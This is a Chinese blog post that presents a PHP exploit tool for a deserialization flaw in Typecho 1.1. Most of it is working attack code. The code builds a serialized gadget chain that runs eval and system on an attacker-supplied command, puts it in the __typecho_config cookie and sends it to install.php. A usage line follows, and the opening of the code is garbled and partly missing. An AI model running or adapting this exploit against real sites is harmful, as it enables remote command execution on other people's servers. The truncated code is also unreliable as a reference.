php $rs1->eof,一种基于PHP的交互式Typecho反序列化漏洞利用工具

Typecho博客系统被爆出反序列化漏洞,该漏洞可导致任意代码执行,本文没有分析此漏洞的详细原因,仅给出一种基于PHP的交互式漏洞利用工具,以作交流分享之用。此漏洞在“typecho-1.1-15.5.12-beta”版本中验证成功。

_params['screenName'] = $cmd;

}

}

class Typecho_Feed {

const RSS1 = '';

const RSS2 = 'RSS 2.0';

const DATE_RFC822 = 'r';

const DATE_W3CDTF = 'c';

const EOF = '';

private $_type = 'RSS 2.0';

private $_charset = '';

private $_items = array();

public function __construct() {

$this->_items[0] = array('author'=>new Typecho_Request());

}

}

if(!isset($argv[1])) {

exit('Please input a command!');

}

/* 执行系统命令 */

$cmd = "eval('ob_clean();system(\'{$argv[1]}\');exit();')";

$config = array('adapter'=>new Typecho_Feed(), 'prefix'=>'');

$str = serialize($config);

$str_base64 = base64_encode($str);

/* 目标网站 */

$host = 'http://127.0.0.1/typecho/';

$url = '/install.php?finish=1';

$ch = curl_init($host . $url);

curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0');

curl_setopt($ch, CURLOPT_REFERER, $host . '/index.html');

curl_setopt($ch, CURLOPT_COOKIE, "__typecho_config={$str_base64}");

curl_exec($ch);

curl_close($ch);

exit();

?>

工具使用方法:

php my_typecho_poc.php dir /* my_typecho_poc.php是利用工具的文件名; dir是想要执行的系统命令 */

b3d3874f8b29b4200d34ccfa12f9e121.png

写在最后的话:欢迎各位网络安全爱好者与我交流,欢迎留言分享你们的经验!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值